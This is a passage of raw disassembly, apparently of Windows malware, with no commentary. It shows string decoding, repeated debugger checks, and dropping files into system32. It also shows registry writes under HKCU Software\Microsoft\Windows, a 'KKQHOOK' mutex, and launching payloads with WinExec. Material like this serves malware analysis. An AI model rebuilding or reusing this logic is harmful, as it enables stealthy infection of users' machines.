ptr -46E0h var_46DA = byte ptr -46DAh var_45E8 = dword ptr -45E8h var_45E4 = dword ptr -45E4h var_45E0 = dword ptr -45E0h var_45DB = byte ptr -45DBh var_45D7 = byte ptr -45D7h var_35DF = byte ptr -35DFh var_35DE = byte ptr -35DEh var_35DD = byte ptr -35DDh var_35DC = dword ptr -35DCh var_35D8 = dword ptr -35D8h var_35D2 = word ptr -35D2h var_35D0 = word ptr -35D0h var_35CE = byte ptr -35CEh var_35CD = byte ptr -35CDh var_25CE = word ptr -25CEh var_25CC = dword ptr -25CCh var_25C5 = byte ptr -25C5h var_25C4 = byte ptr -25C4h var_25C1 = byte ptr -25C1h var_25BF = byte ptr -25BFh var_15D0 = dword ptr -15D0h var_15CC = dword ptr -15CCh var_15C6 = byte ptr -15C6h var_15C5 = byte ptr -15C5h var_15C2 = word ptr -15C2h var_15C0 = dword ptr -15C0h var_15BC = dword ptr -15BCh var_15B8 = dword ptr -15B8h var_1163 = byte ptr -1163h var_1162 = dword ptr -1162h var_115E = byte ptr -115Eh var_1158 = byte ptr -1158h var_1155 = byte ptr -1155h var_1154 = byte ptr -1154h var_114D = byte ptr -114Dh var_1146 = byte ptr -1146h var_1145 = byte ptr -1145h var_1140 = dword ptr -1140h var_113C = byte ptr -113Ch var_113B = byte ptr -113Bh var_1134 = byte ptr -1134h var_112E = word ptr -112Eh var_112B = byte ptr -112Bh var_102C = dword ptr -102Ch var_1028 = dword ptr -1028h var_1024 = dword ptr -1024h var_101F = byte ptr -101Fh var_101E = word ptr -101Eh var_101C = dword ptr -101Ch var_1018 = dword ptr -1018h var_1014 = dword ptr -1014h var_1010 = byte ptr -1010h var_F0C = dword ptr -0F0Ch var_F08 = byte ptr -0F08h var_708 = dword ptr -708h var_703 = byte ptr -703h var_604 = dword ptr -604h var_600 = byte ptr -600h var_5A8 = byte ptr -5A8h var_5A7 = byte ptr -5A7h var_400 = byte ptr -400h push ebp mov ebp, esp mov eax, 5614h call sub_40C6B8 push ebx push esi push edi call sub_40C7D0 ; GetVersion mov ax, word_4469C4 mov [ebp+var_112E+1], ax lea edi, [ebp+var_1134] lea esi, a2gtF ; "2GT<!f" mov ecx, 7 rep movsb lea edi, [ebp+var_113B] lea esi, aNjbS9 ; "NJb s9" mov ecx, 7 rep movsb lea edi, [ebp+var_113C] lea esi, byte_4469D4 xor ecx, ecx inc ecx rep movsb mov eax, dword_4469D5 mov [ebp+var_1140], eax lea edi, [ebp+var_1145] lea esi, a_3v ; ". 3‚" mov ecx, 5 rep movsb call sub_40C7C4 ; GetTickCount push eax call sub_40CC5C pop ecx mov [ebp+var_101C], 6594h inc [ebp+var_101C] loc_40993B: ; CODE XREF: sub_4098A8+1108j lea edi, [ebp+var_1146] lea esi, byte_4469DE xor ecx, ecx inc ecx rep movsb mov eax, dword_43C094 add eax, 3 push eax lea eax, [ebp+var_703] push eax call sub_40172F push 9 push offset byte_446D1F call sub_40129C lea edi, [ebp+var_703] push edi push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push eax lea edi, [ebp+var_400] push edi call sub_40CC50 call sub_40C854 ; IsDebuggerPresent lea eax, [ebp+var_400] push eax call sub_40341E mov [ebp+var_101E], 5439h sub [ebp+var_101E], 33A0h lea edi, [ebp+var_114D] lea esi, aSiYy ; "<si+yY" mov ecx, 7 rep movsb push 9 push offset byte_446D15 call sub_40129C mov edi, dword_43C0BC push off_43C0C4[edi*4] push eax lea edi, [ebp+var_F08] push edi call sub_40CC50 push 1 push offset byte_446D13 call sub_40129C mov edi, 13h sub edi, dword_43C098 push edi push eax mov edi, dword_43C0BC push off_43C0C4[edi*4] call sub_40181A add esp, 4Ch cmp eax, 0FFFFh jnz short loc_409A33 push 9 push offset byte_446D09 call sub_40129C push eax lea edi, [ebp+var_F08] push edi call sub_40CC74 add esp, 10h loc_409A33: ; CODE XREF: sub_4098A8+16Dj call sub_40C854 ; IsDebuggerPresent and [ebp+var_1018], 0 mov [ebp+var_102C], 4 lea edi, [ebp+var_1155] lea esi, byte_4469E6 xor ecx, ecx inc ecx rep movsb push 1Ah push offset aZAgJIsJZAigGz ; "‡»² £µ¦±ˆ™½·¦»§»² ˆƒ½º°»£§" call sub_40129C mov [ebp+var_15B8], eax push 3 push offset word_446CEA call sub_40129C lea edi, [ebp+var_1154] push edi lea edi, [ebp+var_102C] push edi lea edi, [ebp+var_1018] push edi push eax mov edi, [ebp+var_15B8] push edi push 80000001h call sub_4014C9 mov [ebp+var_101F], 6Ah add [ebp+var_101F], 1 lea edi, [ebp+var_1158] lea esi, asc_4469E7 ; "*/" mov ecx, 3 rep movsb push 7 push offset word_446CE2 call sub_40129C push [ebp+var_1018] push eax lea edi, [ebp+var_112B] push edi call sub_40CC50 call sub_40C764 ; RtlGetLastWin32Error lea eax, [ebp+var_112B] push eax lea eax, [ebp+var_F08] push eax call sub_40CC74 mov [ebp+var_1024], 7ED9h mov eax, 39E6h mul [ebp+var_1024] mov [ebp+var_15BC], eax mov [ebp+var_1024], eax push 1 push offset byte_446CE0 call sub_40129C lea edi, [ebp+var_604] push edi push 0 push 0 push eax push offset aKkqhook ; "KKQHOOK" lea edi, [ebp+var_400] push edi lea edi, [ebp+var_F08] push edi push 0 call sub_4061F7 add esp, 6Ch mov ebx, eax mov [ebp+var_1028], 47D6h mov eax, 2DD7h mul [ebp+var_1028] mov [ebp+var_15C0], eax mov [ebp+var_1028], eax or ebx, ebx jnz short loc_409BA8 call sub_40C734 ; GetCurrentProcessId lea eax, [ebp+var_400] push eax call sub_40349A pop ecx mov [ebp+var_15C2], 2655h movzx eax, [ebp+var_15C2] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_15C2], ax jmp loc_40A8A0 ; --------------------------------------------------------------------------- loc_409BA8: ; CODE XREF: sub_4098A8+2CAj and [ebp+var_1018], 0 push 1Ah push offset aZAgJIsJZAigGz ; "‡»² £µ¦±ˆ™½·¦»§»² ˆƒ½º°»£§" call sub_40129C mov [ebp-15C4h], eax push 3 push offset word_446CEA call sub_40129C push 4 push 4 lea edi, [ebp+var_1018] push edi push eax mov edi, [ebp-15C4h] push edi push 80000001h call sub_40160A push 0 lea eax, [ebp+var_400] push eax call sub_401A7E add esp, 30h mov [ebp+var_F0C], eax or eax, eax jz loc_40A8A0 lea edi, [ebp+var_115E] lea esi, aOcqud ; "ocqUd" mov ecx, 3 rep movsw lea eax, [ebp+var_400] push eax call sub_40C704 ; DeleteFileA lea eax, [ebp+var_400] push eax call sub_40349A pop ecx and [ebp+var_708], 0 jmp loc_40A867 ; --------------------------------------------------------------------------- loc_409C42: ; CODE XREF: sub_4098A8+FE2j mov ax, word_4469F0 mov [ebp+var_35D0], ax cmp [ebp+var_600], 0 jz loc_40A867 call sub_40C734 ; GetCurrentProcessId lea ecx, [ebp+var_600] or eax, 0FFFFFFFFh loc_409C6A: ; CODE XREF: sub_4098A8+3C7j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_409C6A cmp eax, 5Ch jb loc_40A867 mov [ebp+var_25C5], 9Bh movzx eax, [ebp+var_25C5] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_25C5], al mov [ebp+var_5A8], 0 mov ax, word_4469F2 mov [ebp+var_35D2], ax push 0FFFh lea eax, [ebp+var_25C4] push eax lea eax, [ebp+var_5A7] push eax call sub_40893E push 0FFFh lea eax, [ebp+var_35CD] push eax lea eax, [ebp+var_600] push eax call sub_40893E add esp, 18h mov [ebp+var_25CC], 1FCCh mov eax, [ebp+var_25CC] mov edx, eax add edx, eax mov [ebp+var_25CC], edx mov [ebp+var_15C6], 0 mov [ebp+var_25CE], 35D8h movzx eax, [ebp+var_25CE] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_25CE], ax mov [ebp+var_15C5], 0 jmp short loc_409D40 ; --------------------------------------------------------------------------- loc_409D22: ; CODE XREF: sub_4098A8+4B1j movzx eax, [ebp+var_15C5] lea edx, [ebp+eax+var_25C4] movsx ecx, byte ptr [edx] sub ecx, eax mov eax, ecx mov [edx], al add [ebp+var_15C5], 1 loc_409D40: ; CODE XREF: sub_4098A8+478j lea ecx, [ebp+var_25C4] or eax, 0FFFFFFFFh loc_409D49: ; CODE XREF: sub_4098A8+4A6j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_409D49 movzx esi, [ebp+var_15C5] cmp esi, eax jb short loc_409D22 mov [ebp+var_35CE], 4 add [ebp+var_35CE], 1 lea ecx, [ebp+var_25C4] or eax, 0FFFFFFFFh loc_409D72: ; CODE XREF: sub_4098A8+4CFj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_409D72 lea esi, [ebp+var_35CD] push esi push eax lea edi, [ebp+var_25C4] push edi call sub_408779 add esp, 0Ch mov [ebp+var_35D8], eax push 5 push offset word_446CDA call sub_40129C add esp, 8 mov edi, 13h sub edi, dword_43C098 push edi push eax lea edi, [ebp+var_25C4] push edi call sub_40181A add esp, 0Ch cmp eax, 0 jnz loc_40A2DE mov [ebp+var_46E4], 234h mov eax, [ebp+var_46E4] mov edx, eax add edx, eax mov [ebp+var_46E4], edx mov eax, dword_4469F4 mov [ebp+var_470C], eax lea edi, [ebp+var_4714] lea esi, aMB7d ; "M;$:7d" mov ecx, 8 rep movsb lea eax, [ebp+var_25BF] push eax lea eax, [ebp+var_45DB] push eax call sub_40C6D8 call sub_40C854 ; IsDebuggerPresent mov [ebp+var_35DC], 0 mov [ebp+var_46E0], 4 lea eax, [ebp+var_46F4] push eax lea eax, [ebp+var_46E0] push eax lea eax, [ebp+var_35DC] push eax push offset aOfstkkq ; "ofstkkq" push offset aSoftwareMicros ; "Software\\Microsoft\\Windows" push 80000001h call sub_4014C9 add esp, 18h mov [ebp+var_46F5], 9Dh movzx eax, [ebp+var_46F5] imul eax, 3388h mov [ebp+var_46F5], al mov eax, dword_43C094 add eax, 3 push eax lea eax, [ebp+var_703] push eax call sub_40172F add esp, 8 push 9 push offset byte_446D1F call sub_40129C add esp, 8 lea edi, [ebp+var_703] push edi push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push eax lea edi, [ebp+var_400] push edi call sub_40CC50 add esp, 10h call sub_40C764 ; RtlGetLastWin32Error push 1 push offset byte_446CE0 call sub_40129C add esp, 8 lea edi, [ebp+var_604] push edi push 0 push 0 push eax push offset aKkqhook ; "KKQHOOK" lea edi, [ebp+var_400] push edi lea edi, [ebp+var_45DB] push edi push offset dword_41FA00 call sub_4061F7 add esp, 20h mov ebx, eax call sub_40C764 ; RtlGetLastWin32Error cmp ebx, 0 jnz short loc_409F27 mov [ebp+var_472D], 69h add [ebp+var_472D], 1 lea eax, [ebp+var_400] push eax call sub_40349A add esp, 4 call sub_40C7D0 ; GetVersion jmp short loc_409F60 ; --------------------------------------------------------------------------- loc_409F27: ; CODE XREF: sub_4098A8+659j push 4 push 4 lea eax, [ebp+var_604] push eax push offset aOfstkkq ; "ofstkkq" push offset aSoftwareMicros ; "Software\\Microsoft\\Windows" push 80000001h call sub_40160A mov eax, dword_446A00 mov [ebp+var_4718], eax lea eax, [ebp+var_400] push eax call sub_40349A add esp, 1Ch loc_409F60: ; CODE XREF: sub_4098A8+67Dj and [ebp+var_35DC], 0 mov [ebp+var_46E0], 4 call sub_40C794 ; GetProcessHeap lea eax, [ebp+var_46F4] push eax lea eax, [ebp+var_46E0] push eax lea eax, [ebp+var_35DC] push eax push offset aOfstkkqc ; "ofstkkqc" push offset aSoftwareMicros ; "Software\\Microsoft\\Windows" push 80000001h call sub_4014C9 add esp, 18h push 0 push 0 push 4 push 0 push 0 push 80000000h push offset dword_40E080 call sub_40C8CC ; CreateFileA mov [ebp+var_46EC], eax push 0 push eax call sub_40C74C ; GetFileSize mov [ebp+var_4708], eax call sub_40C7D0 ; GetVersion push [ebp+var_46EC] call sub_40C7AC ; CloseHandle call sub_40C764 ; RtlGetLastWin32Error mov eax, [ebp+var_4708] cmp [ebp+var_35DC], eax jb short loc_409FFC call sub_40C794 ; GetProcessHeap jmp loc_40A157 ; --------------------------------------------------------------------------- loc_409FFC: ; CODE XREF: sub_4098A8+748j lea edi, [ebp+var_471F] lea esi, dword_446A04 mov ecx, 7 rep movsb mov eax, 1Ah sub eax, dword_43C098 push eax lea eax, [ebp+var_46DA] push eax call sub_40172F push 9 push offset dword_446CD0 call sub_40129C lea edi, [ebp+var_46DA] push edi push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push eax lea edi, [ebp+var_400] push edi call sub_40CC50 call sub_40C854 ; IsDebuggerPresent lea eax, [ebp+var_400] push eax call sub_40341E mov [ebp+var_46FC], 3814h add [ebp+var_46FC], 12E1h push 1 push offset byte_446CE0 call sub_40129C lea edi, [ebp+var_604] push edi push 0 push [ebp+var_35DC] push eax push offset aKkqhook ; "KKQHOOK" lea edi, [ebp+var_400] push edi lea edi, [ebp+var_45DB] push edi push offset dword_40E080 call sub_4061F7 mov ebx, eax mov [ebp+var_46FE], 486Fh movzx eax, [ebp+var_46FE] imul eax, 20EDh mov [ebp+var_46FE], ax lea eax, [ebp+var_400] push eax call sub_40C704 ; DeleteFileA lea edi, [ebp+var_4724] lea esi, aUw ; "UW|'" mov ecx, 5 rep movsb lea eax, [ebp+var_400] push eax call sub_40349A add esp, 50h mov [ebp+var_4700], 1BDh movzx eax, [ebp+var_4700] imul eax, 1736h mov [ebp+var_4700], ax or ebx, ebx jz short loc_40A157 mov dword ptr [ebp-4730h], 1381h sub dword ptr [ebp-4730h], 2095h cmp [ebp+var_604], 0 jz short loc_40A157 push 4 push 4 lea eax, [ebp+var_604] push eax push offset aOfstkkqc ; "ofstkkqc" push offset aSoftwareMicros ; "Software\\Microsoft\\Windows" push 80000001h call sub_40160A add esp, 18h loc_40A157: ; CODE XREF: sub_4098A8+74Fj ; sub_4098A8+86Ej ... push 0 push 80h push 3 push 0 push 0 push 80000000h push offset dword_415080 call sub_40C8CC ; CreateFileA mov [ebp+var_46F0], eax lea edi, [ebp+var_472C] lea esi, aP2 ; ">:= P2" movsd movsd cmp [ebp+var_46F0], 0FFFFFFFFh jz loc_40A8A0 call sub_40C7C4 ; GetTickCount push [ebp+var_46F0] call sub_40C7AC ; CloseHandle call sub_40C7C4 ; GetTickCount lea eax, [ebp+var_45DB] push eax lea eax, [ebp+var_F08] push eax call sub_40CC50 mov [ebp+var_46E6], 4301h movzx eax, [ebp+var_46E6] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_46E6], ax push 6 push offset aIDsc ; "ë°¹¤éæ" call sub_40129C push eax lea edi, [ebp+var_F08] push edi call sub_40CC74 mov [ebp+var_4701], 99h movzx eax, [ebp+var_4701] imul eax, 2D23h mov [ebp+var_4701], al lea eax, [ebp+var_400] push eax call sub_40341E call sub_40C740 ; GetCurrentThreadId mov eax, dword_43C094 add eax, 3 push eax lea eax, [ebp+var_46DA] push eax call sub_40172F push 9 push offset byte_446D1F call sub_40129C lea edi, [ebp+var_46DA] push edi push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push eax lea edi, [ebp+var_400] push edi call sub_40CC50 mov [ebp+var_4702], 0B2h add [ebp+var_4702], 25h push 1 push offset byte_446CE0 call sub_40129C lea edi, [ebp+var_604] push edi push 0 push [ebp+var_35DC] push eax push offset aKkqhook ; "KKQHOOK" lea edi, [ebp+var_400] push edi lea edi, [ebp+var_F08] push edi push offset dword_415080 call sub_4061F7 mov ebx, eax lea eax, [ebp+var_400] push eax call sub_40C704 ; DeleteFileA call sub_40C734 ; GetCurrentProcessId lea eax, [ebp+var_400] push eax call sub_40349A add esp, 68h call sub_40C7C4 ; GetTickCount or ebx, ebx jz short loc_40A2DE mov eax, dword_446A18 mov [ebp-4730h], eax push offset dword_415080 call sub_40C704 ; DeleteFileA loc_40A2DE: ; CODE XREF: sub_4098A8+51Cj ; sub_4098A8+A1Fj cmp [ebp+var_25C4], 3Ah jnz loc_40A499 cmp [ebp+var_25C1], 3Ah jnz loc_40A499 call sub_40C734 ; GetCurrentProcessId mov [ebp+var_25C1], 0 push 5 push offset byte_446CC3 call sub_40129C lea edi, [ebp+var_35DC] push edi push eax lea edi, [ebp+var_25C4] push edi call sub_40CC68 add esp, 14h call sub_40C7D0 ; GetVersion cmp [ebp+var_35DC], 0 jz short loc_40A35E call sub_40CC38 mov edx, 621B97C3h push ecx mov ecx, eax imul edx sar edx, 7 sar ecx, 1Fh sub edx, ecx mov eax, edx pop ecx mov edi, eax inc edi cmp edi, [ebp+var_35DC] ja loc_40A867 loc_40A35E: ; CODE XREF: sub_4098A8+A8Bj mov [ebp+var_35DD], 36h add [ebp+var_35DD], 1 cmp ds:dword_419720, 2 jnz short loc_40A3DE mov [ebp+var_35DF], 79h movzx eax, [ebp+var_35DF] imul eax, 2939h mov [ebp+var_35DF], al push 400h lea eax, [ebp+var_400] push eax call sub_40C7A0 ; GetSystemDirectoryA push 0Ah push offset dword_446CB8 call sub_40129C lea edi, [ebp+var_400] push edi push eax lea edi, [ebp+var_1010] push edi call sub_40CC50 push 8 push offset byte_446CAF call sub_40129C push eax lea edi, [ebp+var_400] push edi call sub_40CC74 add esp, 24h jmp short loc_40A43F ; --------------------------------------------------------------------------- loc_40A3DE: ; CODE XREF: sub_4098A8+ACBj call sub_40C7C4 ; GetTickCount push 400h lea eax, [ebp+var_400] push eax call sub_40C7F4 ; GetWindowsDirectoryA call sub_40C7C4 ; GetTickCount push 0Eh push offset dword_446CA0 call sub_40129C lea edi, [ebp+var_400] push edi push eax lea edi, [ebp+var_1010] push edi call sub_40CC50 call sub_40C734 ; GetCurrentProcessId push 0Ch push offset byte_446C93 call sub_40129C push eax lea edi, [ebp+var_400] push edi call sub_40CC74 add esp, 24h call sub_40C734 ; GetCurrentProcessId loc_40A43F: ; CODE XREF: sub_4098A8+B34j lea eax, [ebp+var_1010] push eax call sub_40C704 ; DeleteFileA call sub_40C734 ; GetCurrentProcessId push 8 push offset word_446C8A call sub_40129C lea edi, [ebp+var_25C4] add edi, 4 push edi lea edi, [ebp+var_400] push edi push eax lea edi, [ebp+var_400] push edi call sub_40CC50 add esp, 18h push 0 lea eax, [ebp+var_400] push eax call sub_40C938 ; WinExec mov [ebp+var_35DE], 3Dh add [ebp+var_35DE], 10h loc_40A499: ; CODE XREF: sub_4098A8+A3Dj ; sub_4098A8+A4Aj push 5 push offset dword_446C84 call sub_40129C mov edi, 13h sub edi, dword_43C098 push edi push eax lea edi, [ebp+var_25C4] push edi call sub_40181A add esp, 14h or eax, eax jnz loc_40A62C call sub_40C740 ; GetCurrentThreadId mov [ebp+var_55DC], 1060h sub [ebp+var_55DC], 872h lea edi, [ebp+var_55E1] lea esi, aQ ; "^:$q" mov ecx, 5 rep movsb mov eax, 19h sub eax, dword_43C098 push eax lea eax, [ebp+var_703] push eax call sub_40172F push 9 push offset byte_446D1F call sub_40129C lea edi, [ebp+var_703] push edi push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push eax lea edi, [ebp+var_45D7] push edi call sub_40CC50 mov eax, dword_446A21 mov [ebp+var_55E6+1], eax mov eax, dword_446A25 mov [ebp+var_55EA+1], eax lea eax, [ebp+var_25BF] push eax lea eax, [ebp+var_55D6] push eax call sub_40C6D8 call sub_40C764 ; RtlGetLastWin32Error push 3 push offset aMC ; "¬°æ" call sub_40129C mov [ebp+var_55F0], eax push 1 push offset byte_446CE0 call sub_40129C push 0 push 0 push 0 push eax mov edi, [ebp+var_55F0] push edi lea edi, [ebp+var_45D7] push edi lea edi, [ebp+var_55D6] push edi push 0 call sub_4061F7 add esp, 50h mov ebx, eax lea edi, [ebp+var_55EA] lea esi, byte_446A29 xor ecx, ecx inc ecx rep movsb cmp ebx, 2 jnz short loc_40A62C mov [ebp+var_55F4], 554Dh mov eax, 565Ch mul [ebp+var_55F4] mov [ebp+var_55F8], eax mov [ebp+var_55F4], eax push 0 lea eax, [ebp+var_45D7] push eax call sub_40C938 ; WinExec push 6 push offset aGvJ ; "º±£¢±¦" call sub_40129C mov edi, 13h sub edi, dword_43C098 push edi push eax lea edi, [ebp+var_55D6] push edi call sub_40181A add esp, 14h cmp eax, 0FFFFh jz short loc_40A62C mov eax, 13h sub eax, dword_43C098 push eax call sub_40CBFC pop ecx loc_40A62C: ; CODE XREF: sub_4098A8+C1Bj ; sub_4098A8+D12j ... push 5 push offset byte_446C73 call sub_40129C mov edi, 6 sub edi, dword_43C094 push edi push eax lea edi, [ebp+var_25C4] push edi call sub_40181A add esp, 14h or eax, eax jnz loc_40A867 mov ax, word_446A2A mov [ebp+var_5602], ax call sub_40C7C4 ; GetTickCount push 0 push 0 push 2 push 0 push 0 push 40000000h push offset dword_41E8D0 call sub_40C8CC ; CreateFileA mov [ebp+var_45E8], eax mov [ebp+var_55F0], 3Ch add [ebp+var_55F0], 5583h push 6 push offset aSA ; "è¼ ¹¸ê" call sub_40129C add esp, 8 push 0 lea edi, [ebp+var_55EC] push edi mov edi, 18h sub edi, dword_43C098 push edi push eax push [ebp+var_45E8] call sub_40C944 ; WriteFile lea eax, [ebp+var_25BF] push eax lea eax, [ebp+var_45DB] push eax call sub_40C6D8 mov word ptr [ebp+var_55F4+2], 1AEFh inc word ptr [ebp+var_55F4+2] lea ecx, [ebp+var_45DB] or eax, 0FFFFFFFFh loc_40A6FD: ; CODE XREF: sub_4098A8+E5Aj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40A6FD mov [ebp+var_45E0], eax mov [ebp+var_35DC], 0 jmp short loc_40A73A ; --------------------------------------------------------------------------- loc_40A716: ; CODE XREF: sub_4098A8+E9Ej mov eax, [ebp+var_35DC] cmp [ebp+eax+var_45DB], 7Ch jnz short loc_40A734 mov eax, [ebp+var_35DC] mov [ebp+eax+var_45DB], 0 loc_40A734: ; CODE XREF: sub_4098A8+E7Cj inc [ebp+var_35DC] loc_40A73A: ; CODE XREF: sub_4098A8+E6Cj mov eax, [ebp+var_45E0] cmp [ebp+var_35DC], eax jb short loc_40A716 lea edi, [ebp+var_5609] lea esi, aV_ngv ; "V_Ngv+" mov ecx, 7 rep movsb and [ebp+var_45E4], 0 loc_40A762: ; CODE XREF: sub_4098A8+F90j push 1Fh push offset dword_446C4C call sub_40129C mov edi, [ebp+var_45E4] lea edi, [ebp+edi+var_45DB] push edi push eax lea edi, [ebp+var_55EA+3] push edi call sub_40CC50 add esp, 14h mov byte ptr [ebp+var_55F4+1], 0CCh add byte ptr [ebp+var_55F4+1], 1 lea ecx, [ebp+var_55EA+3] or eax, 0FFFFFFFFh loc_40A7A3: ; CODE XREF: sub_4098A8+F00j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40A7A3 push 0 lea esi, [ebp+var_55EC] push esi push eax lea edi, [ebp+var_55EA+3] push edi push [ebp+var_45E8] call sub_40C944 ; WriteFile mov [ebp+var_55F8], 0FBh mov eax, 2DF3h mul [ebp+var_55F8] mov [ebp+var_5610], eax mov eax, [ebp+var_5610] mov [ebp+var_55F8], eax mov eax, [ebp+var_45E4] mov [ebp+var_5614], eax lea ecx, [ebp+eax+var_45DB] or eax, 0FFFFFFFFh loc_40A803: ; CODE XREF: sub_4098A8+F60j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40A803 mov esi, [ebp+var_5614] add esi, eax mov [ebp+var_45E4], esi mov [ebp+var_55F9], 17h add [ebp+var_55F9], 0FAh inc [ebp+var_45E4] mov eax, [ebp+var_45E0] cmp [ebp+var_45E4], eax jb loc_40A762 mov [ebp+var_55FA], 0B8h sub [ebp+var_55FA], 50h push [ebp+var_45E8] call sub_40C7AC ; CloseHandle mov [ebp+var_5600], 5720h inc [ebp+var_5600] loc_40A867: ; CODE XREF: sub_4098A8+395j ; sub_4098A8+3AEj ... lea eax, [ebp+var_600] push eax push [ebp+var_708] push [ebp+var_F0C] call sub_401BB7 add esp, 0Ch mov [ebp+var_708], eax or eax, eax jnz loc_409C42 push [ebp+var_F0C] call sub_40C884 ; LocalFree call sub_40C7D0 ; GetVersion loc_40A8A0: ; CODE XREF: sub_4098A8+2FBj ; sub_4098A8+35Bj ... call sub_408B4C call sub_40C764 ; RtlGetLastWin32Error fld dbl_446C44 fimul dword_43C0BC mov edi, eax call sub_40C630 xchg eax, edi push edi call sub_40CBF0 mov edi, dword_43C0C0 sub edi, eax inc edi mov [ebp+var_1014], edi mov eax, dword_446A33 mov [ebp+var_1162], eax mov eax, edi mov [ebp-15C8h], eax push eax call sub_40CBF0 add esp, 8 mov edi, [ebp-15C8h] add edi, eax mov [ebp+var_1014], edi call sub_40C854 ; IsDebuggerPresent mov eax, edi mov edi, dword_43C0C0 sub edi, dword_43C0BC mov ecx, edi inc ecx xor edx, edx div ecx mov [ebp+var_15CC], eax mov [ebp+var_1014], eax call sub_40C854 ; IsDebuggerPresent call sub_40CC38 mov [ebp+var_15D0], eax mov eax, dword_43C0BC mov edx, 66666667h push ecx mov ecx, eax imul edx sar edx, 1 sar ecx, 1Fh sub edx, ecx mov eax, edx pop ecx lea edi, [eax+eax*4] mov esi, [ebp+var_1014] mov edx, [ebp+var_15D0] mov eax, esi imul eax, [ebp+var_15D0] mov ecx, 0Ah cdq idiv ecx lea edi, [edi+edx+5] mov dword_43C0BC, edi call sub_40C7C4 ; GetTickCount mov eax, dword_43C0C0 cmp dword_43C0BC, eax jbe short loc_40A98F and dword_43C0BC, 0 loc_40A98F: ; CODE XREF: sub_4098A8+10DEj lea edi, [ebp+var_1163] lea esi, byte_446A37 xor ecx, ecx inc ecx rep movsb push 30D40h call sub_40CBD8 pop ecx call sub_40C764 ; RtlGetLastWin32Error jmp loc_40993B sub_4098A8 endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A9BC proc near ; CODE XREF: sub_40AA24+11p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = word ptr -2 push ebp mov ebp, esp sub esp, 0Ch push edi call sub_40C7D0 ; GetVersion mov [ebp+var_2], 7C9Bh movzx eax, [ebp+var_2] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_2], ax push offset aKkqhook_29 ; "KKQHOOK_29" push 0 push 1F0001h call sub_40C890 ; OpenMutexA mov [ebp+var_8], eax or eax, eax jz short loc_40AA21 call sub_40C764 ; RtlGetLastWin32Error push [ebp+var_8] call sub_40C7AC ; CloseHandle mov [ebp+var_C], 7B70h sub [ebp+var_C], 2C79h mov eax, 13h sub eax, dword_43C098 push eax call sub_40CBFC pop ecx loc_40AA21: ; CODE XREF: sub_40A9BC+36j pop edi leave retn sub_40A9BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AA24 proc near ; CODE XREF: sub_40C654+5Cp var_7CF = byte ptr -7CFh var_7C8 = dword ptr -7C8h var_7C3 = byte ptr -7C3h var_7C1 = byte ptr -7C1h var_7C0 = dword ptr -7C0h var_7BC = dword ptr -7BCh var_7B8 = dword ptr -7B8h var_7B4 = byte ptr -7B4h var_7AF = byte ptr -7AFh var_7AC = word ptr -7ACh var_7AA = byte ptr -7AAh var_7A2 = byte ptr -7A2h var_79F = byte ptr -79Fh var_797 = word ptr -797h var_795 = byte ptr -795h var_792 = byte ptr -792h var_78C = byte ptr -78Ch var_784 = byte ptr -784h var_780 = dword ptr -780h var_77C = word ptr -77Ch var_77A = byte ptr -77Ah var_67B = byte ptr -67Bh var_57C = byte ptr -57Ch var_478 = dword ptr -478h var_474 = dword ptr -474h var_470 = byte ptr -470h var_36C = dword ptr -36Ch var_367 = byte ptr -367h var_366 = word ptr -366h var_364 = dword ptr -364h var_360 = dword ptr -360h var_35B = byte ptr -35Bh var_2F7 = byte ptr -2F7h var_293 = byte ptr -293h var_292 = word ptr -292h var_290 = dword ptr -290h var_28C = dword ptr -28Ch var_286 = word ptr -286h var_284 = dword ptr -284h var_27E = word ptr -27Eh var_27C = dword ptr -27Ch var_278 = dword ptr -278h var_272 = word ptr -272h var_270 = byte ptr -270h var_16C = dword ptr -16Ch var_168 = byte ptr -168h var_167 = byte ptr -167h var_166 = word ptr -166h var_164 = word ptr -164h var_161 = byte ptr -161h var_5D = byte ptr -5Dh var_5C = dword ptr -5Ch var_55 = dword ptr -55h var_51 = dword ptr -51h var_4D = dword ptr -4Dh var_49 = dword ptr -49h var_45 = dword ptr -45h var_41 = dword ptr -41h var_3D = dword ptr -3Dh var_39 = dword ptr -39h var_35 = dword ptr -35h var_31 = dword ptr -31h var_2D = byte ptr -2Dh var_27 = byte ptr -27h var_26 = byte ptr -26h var_25 = byte ptr -25h var_1D = byte ptr -1Dh var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push edi call sub_40C764 ; RtlGetLastWin32Error call sub_40A9BC call sub_40C734 ; GetCurrentProcessId mov ax, word_446A38 mov [ebp+var_77C], ax push 104h lea eax, [ebp+var_161] push eax call sub_40C7A0 ; GetSystemDirectoryA mov [ebp+var_164], 7225h sub [ebp+var_164], 4952h push 13h push offset byte_446C2F call sub_40129C push eax lea edi, [ebp+var_161] push edi call sub_40CC74 add esp, 10h push 0 push 0 push 3 push 0 push 0 push 80000001h lea eax, [ebp+var_161] push eax call sub_40C8CC ; CreateFileA mov [ebp+var_36C], eax cmp eax, 0FFFFFFFFh jnz short loc_40AAB8 call sub_40844F jmp short loc_40AAC3 ; --------------------------------------------------------------------------- loc_40AAB8: ; CODE XREF: sub_40AA24+8Bj push [ebp+var_36C] call sub_40C7AC ; CloseHandle loc_40AAC3: ; CODE XREF: sub_40AA24+92j call sub_40C764 ; RtlGetLastWin32Error push 9 push offset aZ_1 ; "±ºµ¶¸±°§²" call sub_40129C push eax call sub_40C800 ; GlobalAddAtomA call sub_40C7D0 ; GetVersion mov eax, 